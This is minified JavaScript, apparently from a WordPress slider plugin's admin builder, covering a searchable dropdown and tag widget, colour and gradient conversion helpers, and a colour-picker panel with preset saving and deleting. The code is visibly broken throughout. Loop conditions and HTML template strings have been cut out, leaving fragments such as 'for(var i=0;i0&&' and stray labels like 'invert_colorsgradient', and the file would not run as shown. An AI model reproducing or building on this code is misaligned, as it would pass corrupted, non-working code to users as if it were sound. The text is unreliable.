0!==r.params.cursorPosition&&(c[0].selectionStart=c[0].selectionEnd=r.params.cursorPosition),r.params.cursorPosition=0})}},x=function(e){if(null!=e.sel&&null!=e.sel.options){var t;for(var i in e.sel.options){if(!e.sel.options.hasOwnProperty(i)||t)continue;t=e.sel.options[i].value==e.value?e.sel.options[i]:t}void 0!==t&&e.sel.removeChild(t)}},J=function(e){requestAnimationFrame(function(){F(e,!0)})},N=function(e){void 0!==a.INFOCUS&&-1===e.target.className.indexOf("ddTP")&&L()},P=function(){a.highlighted=document.getElementsByClassName("ddTP_RO--highlighted"),a.highlighted=null===a.highlighted||void 0===a.highlighted||0===a.highlighted.length?void 0:a.highlighted[0]},j=function(e){P(),void 0!==a.highlighted&&null!==a.highlighted[e]&&void 0!==a.highlighted[e]&&(a.highlighted.classList.remove("ddTP_RO--highlighted"),a.highlighted=a.highlighted[e],a.highlighted.classList.add("ddTP_RO--highlighted"),I())},A=function(e){if(void 0!==a.INFOCUS&&void 0!==a.highlighted){var t=e.which||e.keyCode;return t===g||t===h?(ddTPcache[a.INFOCUS].sel.multiple?null!==a.liSearch&&void 0!==a.liSearch&&a.liSearch.blur():a.searchi.blur(),j(t===g?"previousElementSibling":"nextElementSibling"),e.preventDefault(),!1):t!==s||ddTPcache[a.INFOCUS].params.tags?void 0:(P(),void 0!==a.highlighted&&G(a.highlighted),e.preventDefault(),!1)}},E=function(){document.body.removeEventListener("click",N),document.body.removeEventListener("keydown",A),a.GLOBALLISTENER=void 0},D=function(){a.GLOBALLISTENER||(document.body.addEventListener("click",N),document.body.addEventListener("keydown",A),a.GLOBALLISTENER=!0)},M=function(){var t;i=!0,t=document.createDocumentFragment(),(a={wrap:document.createElement("span"),drop:document.createElement("span"),searchw:document.createElement("span"),searchi:document.createElement("input"),result:document.createElement("span"),ul:document.createElement("ul")}).wrap.className="ddTP_C ddTP_C--default",a.drop.className="ddTP-dropdown ddTP-dropdown--below",a.searchw.className="ddTP_SCH ddTP_SCH--dropdown",a.searchi.className="ddTP_SCH__field",a.result.className="ddTP_R",a.ul.className="ddTP_ROs",a.drop.dir="ltr",a.searchi.type="search",a.searchw.appendChild(a.searchi),a.wrap.appendChild(a.drop),a.drop.appendChild(a.searchw),a.drop.appendChild(a.result),a.result.appendChild(a.ul),t.appendChild(a.wrap),a.wrap.style.display="none",document.body.appendChild(t),f.on("click",".ddTP_C.ddTP-fake",function(){a.INFOCUS!==this.dataset.refid||ddTPcache[this.dataset.refid].params.tags||ddTPcache[this.dataset.refid].multiple?(ddTPcache[this.dataset.refid].params.searchFocus=!0,F(this.dataset.refid)):L()}),f.on("mouseenter",".ddTP_RO",function(){this.classList.add("ddTP_RO--highlighted")}),f.on("mouseleave",".ddTP_RO",function(){this.classList.remove("ddTP_RO--highlighted")}),f.on("click",".ddTP_S__choice__remove",function(){var t=ddTPcache[this.dataset.refid];return t.params.tags?(x({sel:t.sel,value:this.parentNode.dataset.val}),this.parentNode.parentNode.removeChild(this.parentNode),t.params.searchValue="",t.params.searchFocus=!1):(!function(e){if(null!=e.sel&&null!=e.sel.options){var t;for(var i in e.sel.options)e.sel.options.hasOwnProperty(i)&&!t&&(t=e.sel.options[i].value==e.value?e.sel.options[i]:t);void 0!==t&&(t.selected=!1)}}({sel:t.sel,value:this.parentNode.dataset.val}),t.params.searchValue="",t.params.searchFocus=!1),t.sel.dispatchEvent(new Event("change",{bubbles:!0})),e(t.sel).trigger("ddTP:unselect"),J(this.dataset.refid),!1}),f.on("keydown",".ddTP_SCH__field",function(t){var i=t.which||t.keyCode,a=this.dataset.refid,l=ddTPcache[a];if(i===g||i===h)return j(i===g?"previousElementSibling":"nextElementSibling"),t.preventDefault(),!1;if(i!==o)if(l.params.tags){if(l.params.tags&&i===r&&""===this.value){var n=this.parentNode.previousElementSibling;null!=n&&"LI"===n.tagName&&void 0!==n.dataset.val&&(l.params.searchValue=n.dataset.val,l.params.searchFocus=!0,x({sel:l.sel,value:l.params.searchValue}),e(l.sel).trigger("ddTP:unselect"))}else if(this.value.length>1&&(e.inArray(String.fromCharCode(i),l.params.tokenSeparators)>=0||e.inArray(t.key,l.params.tokenSeparators)>=0)||i===s){var d=document.createElement("option");d.value=this.value,d.innerHTML=this.value,d.dataset.refid=a,d.selected=!0,l.sel.appendChild(d),l.sel.multiple&&this.parentNode.parentNode.insertBefore(k(this.value,void 0,l.sel.id,void 0),this.parentNode),this.value="",l.params.searchValue="",l.params.searchFocus=!0,l.params.cursorPosition=0,l.sel.multpile||(d.ariaSelected=!0),e(l.sel).trigger("ddTP:select"),l.sel.multpile||(R(l.rendered,V(l.sel,l.params)),l.sel.dispatchEvent(new Event("change",{bubbles:!0})),L())}}else l.sel.multiple&&l.params.search&&Q(this);else L()}),f.on("keyup",".ddTP_SCH__field",function(e){var t=e.which||e.keyCode;if(t!==v&&t!==m&&t!==l&&t!=d&&t!=n&&t!=c&&t!=u&&t!=p){var i=ddTPcache[this.dataset.refid];i.params.searchValue=this.value,i.params.searchFocus=!0,i.params.cursorPosition=this.selectionStart,F(this.dataset.refid,!0)}}),f.on("click",".ddTP_RO",function(){G(this)})},G=function(t){var i=ddTPcache[t.dataset.refid];i.sel.multiple?(t.ariaSelected=1!=t.ariaSelected&&"true"!=t.ariaSelected,i.sel.options[t.dataset.optid].selected=1==t.ariaSelected||"true"==t.ariaSelected,i.params.searchValue="",i.params.searchFocus=!1,e(i.sel).trigger("ddTP:select")):(i.sel.value=t.dataset.val,L()),R(i.rendered,V(i.sel,i.params)),i.sel.dispatchEvent(new Event("change",{bubbles:!0})),i.sel.multiple&&J(t.dataset.refid)},z=function(e,t){null!==t&&void 0!==e&&null!==t.parentNode&&t.parentNode.insertBefore(e,t.nextSibling)},Q=function(e){tpGS.gsap.set(e,{width:.75*(e.value.length+1)+"em"})}}(jQuery),window.RSColor={defaultValue:"#ffffff",isColor:/(^#[0-9A-F]{6}$)|(^#[0-9A-F]{3}$)/i,get:function(e){return e?RSColor.process(e,!0)[0]:"transparent"},parse:function(e,t,i){e=RSColor.process(e,!0);var a=[];return a[0]=t?t+": "+e[0]+";":e[0],i&&(a[1]=e[1]),a},convert:function(e,t){if(!e||"string"!=typeof e)return RSColor.defaultValue;if("transparent"===e)return e;if(-1!==e.search(/\[\{/)||-1!==e.search("gradient"))return RSColor.process(e,!0)[0];if(void 0===t||isNaN(t))return RSColor.process(e,!0)[0];if((t=parseFloat(t))<=1&&(t*=100),0===(t=Math.max(Math.min(parseInt(t,10),100),0)))return"transparent";try{return-1!==e.search("#")||e.length<8?(RSColor.isColor.test(e)||(e=e.replace(/[^A-Za-z0-9#]/g,"")),RSColor.processRgba(RSColor.sanitizeHex(e),t)):(e=RSColor.rgbValues(e,3),RSColor.rgbaString(e[0],e[1],e[2],.01*t))}catch(e){return RSColor.defaultValue}},process:function(e,t){if("string"!=typeof e)return t&&RSColor.sanitizeGradient(e),[RSColor.processGradient(e),"gradient",e];if("transparent"===e.trim())return["transparent","transparent"];if(-1===e.search(/\[\{/))return-1!==e.search("-gradient")?[e,"gradient_css",RSColor.reverseGradient(e)]:-1!==e.search("#")?[RSColor.sanitizeHex(e),"hex"]:-1!==e.search("rgba")?(-1!==(e=e.replace(/\s/g,"")).search(/,\)/)&&(e=e.split(",)")[0]+",1)"),[e,"rgba"]):[e.replace(/\s/g,""),"rgb"];try{return e=JSON.parse(e.replace(/\&/g,'"')),t&&RSColor.sanitizeGradient(e),[RSColor.processGradient(e),"gradient",e]}catch(e){return console.log("RSColor.process() failed to parse JSON string"),["linear-gradient(0deg, rgba(255, 255, 255, 1) 0%, rgba(0, 0, 0, 1) 100%)","gradient",{type:"linear",angle:"0",colors:[{r:"255",g:"255",b:"255",a:"1",position:"0",align:"bottom"},{r:"0",g:"0",b:"0",a:"1",position:"100",align:"bottom"}]}]}},transparentRgba:function(e,t){if(!t&&"rgba"!==RSColor.process(e)[1])return!1;return"0"===RSColor.rgbValues(e,4)[3]},rgbValues:function(e,t){3===(e=e.substring(e.indexOf("(")+1,e.lastIndexOf(")")).split(",")).length&&4===t&&(e[3]="1");for(var i=0;i0&&(c+=", "),c+="rgba("+(l=n[p]).r+", "+l.g+", "+l.b+", "+l.a+") "+l.position+"%";return s+r+c+")"},sanitizeHex:function(e){if(3===(e=e.replace("#","").trim()).length){var t=e.charAt(0),i=e.charAt(1),a=e.charAt(2);e=t+t+i+i+a+a}return"#"+e},sortPoints:function(e,t){return e.hasOwnProperty("x")?e.xt.x?1:0:e.positiont.position?1:0},distColor:function(e,t,i,a,r){return Math.max(Math.min(Math.round(Math.abs((e-t)/(i-t)*(r-a)+a)),255),0)},distAlpha:function(e,t,i,a,r){return Math.max(Math.min(Math.abs(parseFloat(((e-t)/(i-t)*(r-a)).toFixed(2))+parseFloat(a)),1),0)},sanitizeGradient:function(e){var t,i=e.colors,a=i.length,r=[];i.sort(RSColor.sortPoints);for(var o=0;os)){for(var l,n,d,c=[],p=0;po&&n
invert_colorsgradient
delete
save
delete
delete
OFF
ON
save
close
palettekeyboard_arrow_up
check
';function lt(){this.innerHTML=me[ct(this,"data-text")]}function nt(){this.setAttribute("placeholder",me[ct(this,"data-placeholder")])}function dt(){this.setAttribute("data-message",me[ct(this,"data-alert")])}function ct(e,t){return e.getAttribute(t)||""}function pt(t){t||(t={}),"string"==typeof t&&(t=JSON.parse(t.replace(/\&/g,'"'))),me=e.extend({},at,t),H=me.color,S.find("*[data-placeholder]").each(nt),S.find("*[data-alert]").each(dt),S.find("*[data-text]").each(lt)}function ut(t,i,a,r){var o,s,l,n,d;if(e.isPlainObject(t))for(var c in t)t.hasOwnProperty(c)&&("string"==typeof(t=t[c])?"gradient"===(t=RSColor.process(t))[1]?(n=(s=t[2]).angle,d=s.type,t=RSColor.processGradient(e.extend(!0,{},s),!0)):t=t[0]:(n=t.angle,d=t.type),o=isNaN(c)?c.replace(/_/g," ").replace(/\b\w/g,function(e){return e.toUpperCase()}):"radial"!==d?n+"°":"radial");else o=t;if("blank"!==t){e.isPlainObject(t)&&(s=t,"",t=r||RSColor.processGradient(e.extend(!0,{},t),!0));var p='';return i||(p+='clear'),l=e(p+=""),s&&l.data("gradient",s),l[0]}return(l=document.createElement("span")).className="revbuilder-cpicker-color blank",l}function vt(){var t=ct(this,"data-color").toLowerCase(),i=!Je&&t===Ce.toLowerCase();if(t===Se||i){var a=e(this);return a.closest(".revbuilder-cpicker-presets-group").find(".revbuilder-cpicker-color.selected").removeClass("selected"),Ee=a,Je&&!U&&ht(Ee.data("gradient"),!0),a.addClass("selected"),!1}}function gt(e,t){for(var i=document.createDocumentFragment(),a=-1!==e.search("core"),r=a?"":" revbuilder-picker-color-custom",o=t.length,s=Math.max(Math.ceil(o/Ye),Ue),l=0;lt)return i}(t,i).color,r=bt(a,t,!0),s=_t(t,i,yt(a,!0),r);T&&T.removeClass("active"),T=e(s).addClass("active").appendTo(ue).draggable(it),G=T.children(".revbuilder-cpicker-point-square")[0],z=T.children(".revbuilder-cpicker-point-triangle")[0],pe=ue.children();var l=St(i);Lt(s),"bottom"===t&&C.val(l[1]).change()}function St(e){void 0===e&&(e=o[se].x);var t=T.attr("data-color"),i=T.hasClass("revbuilder-cpicker-point-bottom");if(i)ve.hasClass("active")&&ve.removeClass("active"),t=RSColor.rgbaToHex(t)[0],Qe.css("background",t),S.find(".revbuilder-cpicker-point-bottom").length>2&&ve.addClass("active"),ce.parent().addClass("disabled"),S.addClass("open");else{ve.hasClass("active")&&(Qe.css("background",""),ve.removeClass("active"));var a=RSColor.getOpacity(t);ce.attr("data-opacity",a).val(a).parent().removeClass("disabled"),S.find(".revbuilder-cpicker-point-top").length>2&&ve.addClass("active"),S.removeClass("open")}return I.val(e+"%").parent().removeClass("disabled"),[i,t]}function bt(e,t,i){return"bottom"===t?"rgb("+e.r+","+e.g+","+e.b+")":"rgba(0, 0, 0, "+(i?"1":e.a)+")"}function yt(e,t){var i=t?"1":e.a;return"rgba("+e.r+","+e.g+","+e.b+","+i+")"}function Rt(e,t){var i=RSColor.hexToRGB(e);t?(_.val(e),m.value=i[0],h.value=i[1],f.value=i[2]):(w.val(e),u.value=i[0],v.value=i[1],g.value=i[2],"0%"===we[0].value&&we.val("100%").trigger("focusout")),w.rsColorPicker("refresh")}function _t(t,i,a,r){var o=document.createElement("span");return o.className="revbuilder-cpicker-point revbuilder-cpicker-point-"+t,"string"==typeof a?o.setAttribute("data-color",a):e(o).data("gradient",a),o.setAttribute("data-location",i),o.style.left=i+"%",o.innerHTML="bottom"===t?'':'',o}function Vt(e){return M||(M=document.createElement("textarea")),e&&"radial"!==e||(e="0"),M.innerHTML=e+"°",M.value}function Ot(){T&&(T.removeClass("active"),T=!1),I.parent().addClass("disabled"),ce.parent().addClass("disabled"),ve.removeClass("active"),ve.removeClass("active"),Qe.css("background",""),S.removeClass("open")}function Bt(e,t){S.removeClass("active is-basic").hide(),a.removeClass("revbuilder-colorpicker-open"),Ae.css({left:"",top:""}),F&&(F.remove(),F=!1),Ee?(Ee.hasClass("selected")?(t&&ke.data("hex",Ee.attr("data-color").toLowerCase()),Ee.removeClass("selected")):ke.removeData("hex"),Ee=!1):ke.removeData("hex"),t||(J&&J(ke,ne,le,be,Re),Ie&&"transparent"!==Ie?(Fe[0].style.background=Ie,Be.css("background",Ie)):(Fe.css("background",""),Be.css("background","")),RVS.DOC.trigger("revcolorpickercancel",[ke,ne,le])),n=null,s=null,u=null,v=null,g=null,m=null,h=null,f=null,_=null,x=null,w=null,K=null,D=null,Y=null,X=null,$=null,Z=null,M=null,ae=null,ie=null,ue=null,Be=null,we=null,Fe=null,ke=null}function kt(t){var i=e.extend(!0,{},He);return RSColor.processGradient(i,!0,t)}function Lt(i,a,r,n){q=a,Ft(),q=!1;for(var d,c,p,u,v=[],g=o.length,m=0;m=-360&&n<=360,s=n;else{var d=parseInt(t.data("orig-value"),10);n||(n="0"),(isNaN(n)||n<-360||n>360)&&(n=s=d,t.val(Vt(n)),o=!0),n!==d&&(s=n,o=!0,t.val(Vt(n)),l||(n=a||n,oe.removeClass("selected"),e('.revbuilder-cpicker-orientation[data-direction="'+n+'"]').addClass("selected")))}(o||a)&&(s&&Jt(s),Lt())}function Pt(e,t){var i=parseInt(100*(Math.round(t.position.left)/(Ze-2)).toFixed(2),10);I.val(i+"%").trigger("keyup")}function jt(){var t=e(this);t.hasClass("revbuilder-cpicker-point-bottom")?"bottom":"top",t.trigger("click")}function At(){I.trigger("focusout")}function Et(e){Me=!0,De.slider("value",Math.round(.01*e*$e)),Me=!1}function Dt(e){var t=te.offset(),i=e.pageX-t.left,a=e.pageY-t.top;if(!isNaN(i)&&!isNaN(a)){var r=Math.atan2(a-We,i-We)*(180/Math.PI)+90;r<0&&(r+=360),r=Math.max(0,Math.min(360,Math.round(r))),r=5*Math.round(r/5),!0,Nt(!1,!1,r),!1}}function Mt(e){e.stopImmediatePropagation()}function Gt(t){t||(t=Le),t.each(function(){var t=e(this).find(".revbuilder-cpicker-color").css("margin-bottom",0),i=t.length;t.each(function(e){e'+st+"
").appendTo(a));Ve.core&&(Ve.core.colors&&(rt=Ve.core.colors),Ve.core.gradients&&(ot=Ve.core.gradients));Zt(Ve),pt(Ve.language||at),b=!0}(),Qe=e("#revbuilder-cpicker-preview-gradient"),ve=e("#revbuilder-cpicker-color-delete"),ce=e("#revbuilder-cpicker-grad-opacity"),I=e("#revbuilder-cpicker-color-location"),oe=e(".revbuilder-cpicker-orientation"),C=e("#revbuilder-cpicker-iris-gradient"),Q=e("#revbuilder-cpicker-iris-color"),R=e("#revbuilder-cpicker-gradient-btn"),re=e("#revbuilder-cpciker-clear-hex"),y=e("#revbuilder-cpicker-meta-reverse"),De=e("#revbuilder-cpicker-scroll"),L=e("#revbuilder-cpicker-color-btn"),k=e("#revbuilder-cpicker-strength"),t=e("#revbuilder-cpicker-meta-angle"),te=e("#revbuilder-cpicker-wheel"),Ae=e("#revbuilder-cpicker"),l=e("#revbuilder-cpicker-easing"),it.drag=Pt,it.stop=At,it.start=jt,L.data("state",e("#revbuilder-cpicker-colors").find(".revbuilder-cpicker-color").eq(0).attr("data-color")||"#ffffff"),R.data("state",e("#revbuilder-cpicker-gradients").find(".revbuilder-cpicker-color").eq(0).attr("data-color")||"linear-gradient(0deg, rgba(255, 255, 255, 1) 0%, rgba(0, 0, 0, 1) 100%)"),Ae.draggable({containment:"window",handle:".revbuilder-cpicker-draggable",stop:function(){Ae.css("height","auto")}}),Le=e(".revbuilder-cpicker-presets-group").RSScroll({wheelPropagation:!1,suppressScrollX:!0}),te.on("mousedown.revcpicker",function(e){oe.removeClass("selected"),W=!0,Dt(e)}).on("mousemove.revcpicker",function(e){W&&Dt(e)}).on("mouseleave.revcpicker mouseup.revcpicker",function(){W=!1}),e(".revbuilder-cpicker-main-btn").on("click.revcpicker",function(){var t;if(U=-1===this.id.search("gradient"),Fe&&(t=e(this).data("state")),U?(Fe&&(Se=w.val()),S.removeClass("gradient-view").addClass("color-view")):(Fe&&(Se=t),S.removeClass("color-view").addClass("gradient-view"),de||(x.children(".revbuilder-cpicker-color").not(".blank").eq(0).trigger("click"),de=!0)),t){var i="transparent"===t?"":t;Fe.css("background",i),Be.css("background",i),Je=!0,e(".revbuilder-cpicker-color").not(".blank").each(vt),Je=!1,RVS.DOC.trigger("revcolorpickerupdate",[ke,t])}U||(Ne=!0,e(".revbuilder-cpicker-point-bottom").first().trigger("click"),Ne=!1)}),e("#revbuilder-cpicker-palette").on("click",function(){S.hasClass("palette-open")?S.removeClass("palette-open"):(S.addClass("palette-open"),Gt())}),e("#revbuilder-cpicker-check").on("click.revcipicker",function(){var t,i,a,r;if(S.hasClass("color-view")){var o=w.val(),s=we.val();a="transparent"===o?"transparent":"100%"===s?RSColor.sanitizeHex(o):RSColor.processRgba(o,s),t=[ke,a,!1],i=a}else{Ot(),Lt(!1,!1,!0,!0);var l=JSON.stringify(He).replace(/\"/g,"&");i=RSColor.processGradient(e.extend(!0,{},He),!0),t=[ke,i,l]}!0!==(r=t[1]!==Ie)&&!0!==ge||(ke.attr("data-color",t[1]),RVS.DOC.trigger("revcolorpickerchanged",t),ze&&ze(t[0],t[1],t[2],be,Re)),Bt(0,!0===r||!0===ge)}),S.on("click.revcpicker",function(t){e(t.target).closest("#revbuilder-cpicker").length||Ot()}),e(".revbuilder-cpicker-close").on("click.revcpicker",Bt),Q.wpColorPicker({palettes:!1,width:190,border:!1,hide:!1,change:function(e,t){var i=t.color.toString();if(this.value=i,Rt(i),!xe){var a=we.val();0===parseInt(a,10)&&(i="transparent"),mt(!1,i,a),Ee&&(Ee.removeClass("selected"),Ee=!1)}}}),C.wpColorPicker({palettes:!1,height:190,border:!1,hide:!1,change:function(e,t){var i=t.color.toString();this.value=i,Rt(i,!0),Qe.css("background",i),G.style.backgroundColor=i,z.style.borderBottomColor=i;var a=RSColor.processRgba(i,100),r=RSColor.rgbValues(a,4),o=He.colors[se];o.r=r[0],o.g=r[1],o.b=r[2],o.a=RSColor.sanitizeAlpha(r[3]),T&&T.attr("data-color",a),Lt()}}),De.slider({orientation:"vertical",max:$e,value:$e,start:function(){je="transparent"===w.val()},slide:function(e,t){if(!Me){var i,a=parseInt(100*(t.value/$e).toFixed(2),10);je&&(i=a?"#ffffff":"transparent",w.val(i)),0===a&&(i="transparent"),mt(!1,i,a||"transparent"),we.val(a+"%")}}}),e("body").on("click.revcpicker",".revbuilder-cpicker-point",function(){ue.find(".revbuilder-cpicker-point.active").removeClass("active"),T=e(this).addClass("active"),G=T.children(".revbuilder-cpicker-point-square")[0],z=T.children(".revbuilder-cpicker-point-triangle")[0],Lt(this);var t=St();t[0]&&C.val(t[1]).change()}).on("mousedown.revcpicker",".revbuilder-cpicker-point",function(t){T=e(this).data("mousestart",t.pageY)}).on("mousemove.revcpicker",function(e){if(T&&T.data("mousestart")){var t=T.data("mousestart"),i=e.pageY;T.hasClass("revbuilder-cpicker-point-bottom")?i>t&&i-t>Ke&&ve.hasClass("active")?T.addClass("warning"):T.removeClass("warning"):t>i&&t-i>Ke&&ve.hasClass("active")?T.addClass("warning"):T.removeClass("warning")}}).on("mouseup.revcpicker",function(e){if(T&&T.data("mousestart")){var t=T.data("mousestart"),i=e.pageY;T.removeData("mousestart"),T.hasClass("revbuilder-cpicker-point-bottom")?i>t&&i-t>Xe&&ve.hasClass("active")?ve.trigger("click"):T.removeClass("warning"):t>i&&t-i>Xe&&ve.hasClass("active")?ve.trigger("click"):T.removeClass("warning")}}).on("keypress.revcpicker",function(e){if(S.hasClass("active")){var t=e.which;27==t?Bt():13==t&&V&&V.blur()}}).on("click.revcpicker",".revbuilder-cpicker-color:not(.blank)",function(){if(Ee){if(Ee[0]===this&&Ee.hasClass("selected"))return;Ee.removeClass("selected")}if(Ee=e(this),S.hasClass("color-view")){var t,i=Ee.attr("data-color"),a=RSColor.process(i);"rgba"===a[1]?(i=RSColor.rgbaToHex(a[0]),t=100*parseFloat(i[1]),we.val(t+"%").trigger("keyup"),i=i[0]):"transparent"!==a[1]&&"transparent"!==i?we.val("100%").trigger("keyup"):(xe=!0,re.trigger("click")),xe=!0,Q.val(i).change(),"transparent"===w.val()&&w.val(i.toLowerCase()),xe=!1;var r=we.val();0===parseInt(r,10)&&(i="transparent"),mt(!1,i,r),Ee.addClass("selected")}else n.removeClass("full"),D.removeClass("full"),ht(Ee.data("gradient"),!0),y.removeClass("checked"),x.find(".revbuilder-cpicker-color.selected").removeClass("selected"),e(".revbuilder-cpicker-point-bottom").first().trigger("click"),Ee.addClass("selected")}).on("mouseover.revcpicker",".revbuilder-cpicker-color:not(.blank)",function(){Pe&&(ae.style.background=ct(this,"data-color"))}).on("mouseout.revcpicker",".revbuilder-cpicker-color:not(.blank)",function(){Pe&&Lt()}).on("click.revcpicker",".revbuilder-cpicker-delete",function(){if(p){if(window.confirm(document.getElementById("revbuilder-cpicker-remove-delete").innerHTML)){S.addClass("onajax onajaxdelete");var t=e(this),i=t.parent(),a=i.attr("data-title")||"";if(!a)return void console.log("Preset does not have a name/title");var r=-1!==t.closest(".revbuilder-cpicker-presets-group")[0].id.search("colors")?"colors":"gradients";RVS.DOC.off("revcpicker_onajax_delete.revcpicker").on("revcpicker_onajax_delete.revcpicker",function(a,r){r&&console.log(r);var o=t.closest(".revbuilder-cpicker-presets-group"),s=o.find(".rs__scrollbar-x-rail");i.remove(),e('').insertBefore(s),Gt(o),S.removeClass("onajax onajaxdelete")}),a=e.trim(a.replace(/\W+/g,"_")).replace(/^\_|\_$/g,"").toLowerCase(),p("delete",a,r,"revcpicker_onajax_delete",ke)}return!1}console.log("Ajax callback not defined")}),e(".revbuilder-cpicker-save-preset-btn").on("click.revcpicker",function(){if(p){var t,i,a=e(this),r=a.closest(".revbuilder-cpicker-presets").find(".revbuilder-cpicker-preset-save").val();if(r&&isNaN(r)){if(t=S.hasClass("color-view")?"colors":"gradients",r=e.trim(r.replace(/\W+/g,"_")).replace(/^\_|\_$/g,"").toLowerCase(),e("#revbuilder-cpicker-"+t+"-custom").find(".revbuilder-cpicker-color").not(".blank").each(function(){if(e.trim(ct(this,"data-title").replace(/\W+/g,"_")).replace(/^\_|\_$/g,"").toLowerCase()===r)return alert(a.attr("data-message")),i=!0,!1}),!i){S.addClass("onajax onajaxsave");var o,s,l={};if("colors"===t){var n=w.val(),d=we.val();o="transparent"===n?"transparent":"100%"===d?RSColor.sanitizeHex(n):RSColor.processRgba(n,d)}else s=ae.style.background,Lt(!1,!1,!0),o=e.extend({},He);l[r]=o,RVS.DOC.off("revcpicker_onajax_save.revcpicker").on("revcpicker_onajax_save.revcpicker",function(i,r){if(r)return S.removeClass("onajax onajaxsave"),void alert(a.attr("data-message"));var o=e(ut(l,!1," revbuilder-picker-color-custom",s)),n=e("#revbuilder-cpicker-"+t+"-custom"),d=n.find(".rs__scrollbar-x-rail"),c=n.find(".revbuilder-cpicker-color.blank");if(c.length)c=c.eq(0),o.insertBefore(c),c.remove();else{o.insertBefore(d);for(var p=n.children(".revbuilder-cpicker-color").length,u=Math.max(Math.ceil(p/Ye),Ue)*Ye;p++
').insertBefore(d)}e("#revbuilder-cpicker-preset-"+t).val("custom").trigger("change"),Gt(n),o.trigger("click"),e(".revbuilder-cpicker-preset-save").val(""),S.removeClass("onajax onajaxsave")}),p("save",l,t,"revcpicker_onajax_save",ke)}}else alert(a.attr("data-message"))}else console.log("Ajax callback not defined")}),re.on("click.revcpicker",function(){Et(0),Q.val(RSColor.defaultValue).change(),w.val("transparent"),mt(!1,"transparent"),clearTimeout(Oe),Oe=setTimeout(Ht,100)}),S.find('input[type="text"]').on("focusin.revcpicker",function(){V=this}).on("focusout.revcpicker",function(){V=!1}),e(".revbuilder-cpicker-input").on("focusin.revcpicker",function(){var t=e(this);t.data("orig-value",t.val()).parent().addClass("focus")}).on("focusout.revcpicker",function(){e(this).parent().removeClass("focus")}),e(".revbuilder-cpicker-rgb").on("focusin.revcpicker",function(){e(this).data("prev",this.value)}).on("focusout.revcpicker keyup.revcpicker",function(){var t=this.value;isNaN(t)||t<0||t>255?this.value=e(this).data("prev"):S.hasClass("color-view")?w.val(RSColor.rgbToHex("rgb("+u.value+","+v.value+","+g.value+")")).trigger("focusout"):_.val(RSColor.rgbToHex("rgb("+m.value+","+h.value+","+f.value+")")).trigger("focusout")}),e(".revbuilder-cpicker-hex").on("focusout.revcpicker",function(){var t,i;if("revbuilder-cpicker-color-hex"===this.id){if(!(i=w.val()))return void re.trigger("click");if(i=RSColor.sanitizeHex(i),RSColor.isColor.test(i))Rt(i);else{if(!(t=e(this).data("orig-value")))return void re.trigger("click");if("transparent"===(i=t))return void re.trigger("click");Rt(i)}Q.val(i).change()}else i=_.val()||RSColor.defaultValue,i=RSColor.sanitizeHex(i),RSColor.isColor.test(i)||(i=(t=e(this).data("orig-value"))||RSColor.defaultValue),_.val(i),C.val(i).change()}).on("focusin.revcpicker",Mt),I.on("keyup.revcpicker focusout.revcpicker",function(e){if(T){var t,i="bottom"===(T.hasClass("revbuilder-cpicker-point-bottom")?"bottom":"top")?E:A,a=I.val().replace("%","")||"0",r=e.type;for(isNaN(a)&&(a="keyup"===r?"0":T.attr("data-location")),t=(a=Math.max(0,Math.min(100,parseInt(a,10))))<50?1:-1;-1!==i.indexOf(a);)a+=t;"focusout"===r&&(I.val(a+"%"),T.attr("data-location",a)),T.css("left",a+"%"),Lt()}}).on("focusin.revcpicker",Mt),e("#revbuilder-cpciker-clear-gradient").on("click.revcpicker",function(){C.val(RSColor.defaultValue).change()}),t.on("keyup.revcpicker focusout.revcpicker",Nt).on("focusin.revcpicker",Mt),oe.on("click.revcpicker",function(){var i=e(this),a=i.attr("data-direction");oe.removeClass("selected"),i.addClass("selected"),"radial"!==a?t.val(Vt(a)):t.val(0),Nt(!1,a)}),e(".revbuilder-cpicker-point-delete").on("click.revcpicker",function(){if(-1!==this.className.search("active")){var e=T.hasClass("revbuilder-cpicker-point-bottom")?"bottom":"top",t=S.find(".revbuilder-cpicker-point-"+e).length;t>2&&(T.draggable("destroy").remove(),pe=ue.children(),S.trigger("click"),Lt()),t<=qe&&("bottom"===e?D.removeClass("full"):n.removeClass("full"))}}),e(".revbuilder-cpicker-preset-save").on("focusin.revcpicker",Mt),e(".revbuilder-cpicker-opacity-input").on("keyup.revcpicker focusout.revcpicker",function(t){var i,a=-1===this.id.search("grad"),r=a?we:ce,o=r.val().replace("%",""),s=t.type;if(isNaN(o)&&(o="keyup"===s?"0":e(this).data("orig-value").replace("%","")),o=Math.max(0,Math.min(100,o)),"focusout"===s&&(r.val(o+"%"),a||T.attr("data-opacity",o)),a){mt(!1,0===parseInt(o,10)&&"transparent",o),Et(o)}else{var l=RSColor.rgbValues(T.attr("data-color"),3),n=He.colors[se];o=RSColor.sanitizeAlpha(.01*parseInt(o,10)),n.r=l[0],n.g=l[1],n.b=l[2],n.a=o,i=RSColor.rgbaString(n.r,n.g,n.b,o),T.attr("data-color",i),Lt(),i="rgba(0, 0, 0, "+o+")",G.style.backgroundColor=i,z.style.borderTopColor=i}}).on("focusin.revcpicker",Mt),e(".revbuilder-cpicker-builder-hit").on("click.revcpicker",function(e){o||Ft();for(var t=parseInt(100*((e.pageX-n.offset().left)/Ze).toFixed(2),10),i=-1!==this.id.search("bottom")?"bottom":"top",a="bottom"===i?E:A,r=t<50?1:-1;-1!==a.indexOf(t);)t+=r;"bottom"===i?S.find(".revbuilder-cpicker-point-bottom").length'+e.text+""):e.text}function Yt(e){for(var t in void 0!==be[e]&&ht(be[e].v,!1),_e)for(var i in be)be.hasOwnProperty(i)&&(i!==e&&void 0!==be[i].ref&&0!==be[i].ref.length&&(be[i].ref=qt(be[i].ref,_e[t],"r")),i===e&&(be[i].ref=void 0===be[i].ref?[]:be[i].ref,-1==Wt(_e[t],be[i].ref,"r")&&be[i].ref.push(_e[t])))}e.rsColorPickerApi={setValue:function(e,t){ht(e,t)},setGlobalColors:function(e){be=jQuery.extend(!0,{},e)},setGlobalCandidates:function(e){_e=e},getGlobalColors:function(){return be},closeColorPicker:function(){Bt()},showGlobal:function(e,t,i){be=jQuery.extend(!0,{},t),_e=i,ye=e.mode;var a,r;e.currentInput[0].dataset;for(var o in currentEditing=document.getElementById("revbuilder-cpicker-current-edit"),editTitle=document.getElementById("revbuilder-cpicker-edit-title"),widgetId=ke.attr("data-widget-id"),html=ke.attr("data-appended-html"),editing=ke.attr("data-editing"),em=document.createElement("div"),em.id="revbuilder-cpicker-globals",a='
'+RVS_LANG.globalcoloractive+"
",a+='',a+='
',a+='
",a+='
color_lens'+RVS_LANG.editskins+"
